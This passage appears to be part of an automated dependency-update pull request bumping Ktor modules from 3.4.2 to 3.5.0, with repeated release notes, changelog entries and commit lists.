href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-call-logging-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca 